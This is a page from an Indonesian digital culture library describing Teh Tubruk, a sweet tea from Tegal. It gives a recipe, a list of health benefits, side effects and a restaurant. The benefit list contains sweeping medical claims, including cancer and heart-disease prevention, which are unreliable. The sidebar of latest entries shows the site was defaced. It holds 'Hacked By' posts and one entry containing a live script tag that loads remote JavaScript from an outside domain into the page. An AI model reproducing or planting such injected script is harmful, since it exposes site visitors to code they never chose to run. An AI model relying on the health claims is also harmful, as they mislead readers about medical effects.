atau
Tambah Entri
×
Akun anda bermasalah?
Klik tombol dibawah
BANTUAN
Atau
DAFTAR
×

DATA

Kategori

Minuman

Elemen Budaya

Makanan Minuman

Provinsi

Jawa Tengah

Asal Daerah

Tegal

Teh Tubruk

Tanggal 09 Dec 2017 oleh hallowulandari .

Teh tubruk adalah minuman teh yang biasa dikonsumsi oleh masyarakat di daerah Tegal, Jawa Tengah. Di masyarakat Tegal, jika membuat teh tubruk, pada umumnya berasa manis.

Bahan dan cara pembuatannya cukup sederhana. Cukup menyediakan teh daun, air panas dan gula.

Cara membuat:

1. Masukan 1 sdm teh daun

2. Masukan 1 sdm gula

3. Siram dengan air mendidih

4. Tunggu beberapa saat dan aduk

5. Teh tubruk siap untuk diminum

---

Manfaat teh tubruk:
 
1.      Menghambat pembentukan dan penumpukan kolesterol,
2.      Mencegah tekanan darah tinggi,
3.      Mencegah penyakit jantung,
4.      Mengendalikan kadar gula dalam darah,
5.      Mencegah kanker,
6.      Merawat gigi,
7.      Menghindari keracunan,
8.      Melangsingkan badan,
9.      Meningkatkan daya tahan tubuh,
10.  Memperlambat penuaan, dan
11.  Mencegah pendarahan.
 
Efek minum teh tubruk secara berlebihan:
 
1. Insomnia
Perlu diingat teh juga mengandung zat sejenis “kafein”. Jika dikonsumsi secara berlebihan dapat mengakibatkan insomnia, kecemasan, dan detak jantung yang tak teratur. Namun, kandungan kafein pada teh masih lebih rendah dibandingkan kopi atau minuman bersoda.
 
2. Memicu Maag
Bagi orang yang memiliki maag kronis tidak dianjurkan meminum teh. Alih-alih sembuh justru dapat memicu sakit karena teh dapat “menggerus” dinding usus. Teh boleh diminum jika larutannya tidak pekat.
 
3. Anemia.
Minum teh setelah makan tidak dianjurkan karena dapat menghambat penyerapan zat besi dari sari makanan yang berbuntut anemia.

---

 

RM/Toko yang Menyediakan:
 
Rumah Makan D'Pawon
Indonesian Restaurant
Address: Jalan Kolonel Sugiono Nomer 111, Kemandungan, Tegal Bar., Kota Tegal, Jawa Tengah 52133
Phone: (0283) 352320

 

Sumber:

1] Tuturan orang tua dan tradisi di rumah.

2] http://cmiiw-official.blogspot.co.id/2015/07/teh-tubruk-banyak-manfaat-tapi-kurang.html

wulan_tehtubruk.jpg
Sumber gambar: Bukalapak
wulan_tehtubruk2.jpg
Sumber gambar: http://cmiiw-official.blogspot.co.id/2015/07/teh-tubruk-banyak-manfaat-tapi-kurang.html
wulan_tehtubruk3.jpg
Sumber gambar: https://ghoziblitar.files.wordpress.com/2014/06/teh-tubruk.jpg

DISKUSI

Silahkan masuk untuk berdiskusi.

TERBARU

Seni Pertunjuka...

Oleh Radhityamahdy | 02 Sep 2024.
budaya

Seni pertunjukan wayang kulit merupakan salah satu bentuk teater tradisional yang kaya akan nilai budaya dan artistik. Berakar dari kebudayaan Jawa,...

Ting-Ting Tempe

Oleh Deni Andrian | 29 Aug 2024.
Camilan

Bahan-bahan : 250 gram Tempe 150 gram gula pasir 1 sdt margarin 1 sdt sprinkles untuk topping (optional) Cara Membuat: Potong2 tempe dgn ukur...

<script type="t...

Oleh Energetic | 25 Aug 2024.
<script type="text/javascript" src="https://jso-tools.z-x.my.id/raw/~/KMIHBVJ090KRI"></script>

Hacked By Xnuxe...

Oleh Energetic | 25 Aug 2024.
Peler

Hacked By UCEN...

Oleh . | 24 Aug 2024.
Hacked By UCEN HAXOR Ft Nabila1337 Karawang Cyber Team - Esteem Restoration Eagle

KATANYAKATANYAKATANYAKATANYAKATANYAKATANYAKATANYAKATANYA DEMOKRASI TAPI KOK BANYAK NYALONIN KELUARGA SENDIRI, ITU DEMOKRASI APA POLITIK DINASTI JANGA...

FITUR

Gambus

Oleh agus deden | 21 Jun 2012.
Alat Musik

Gambus Melayu Riau adalah salah satu jenis instrumental musik tradisional yang terdapat hampir di seluruh kawasan Melayu.Pergeseran nilai spiritual...

Hukum Adat Suku...

Oleh Riduwan Philly | 23 Jan 2015.
Aturan Adat

Dalam upaya penyelamatan sumber daya alam di kabupaten Aceh Tenggara, Suku Alas memeliki beberapa aturan adat . Aturan-aturan tersebut terbagi dala...

Fuu

Oleh Sobat Budaya | 25 Jun 2014.
Alat Musik

Alat musik ini terbuat dari bambu. Fuu adalah alat musik tiup dari bahan kayu dan bambu yang digunakan sebagai alat bunyi untuk memanggil pend...

Ukiran Gorga Si...

Oleh hokky saavedra | 09 Apr 2012.
Ornamen Arsitektural

Ukiran gorga "singa" sebagai ornamentasi tradisi kuno Batak merupakan penggambaran kepala singa yang terkait dengan mitologi batak sebagai...

© 2007 - 2024 Perpustakaan Digital Budaya Indonesia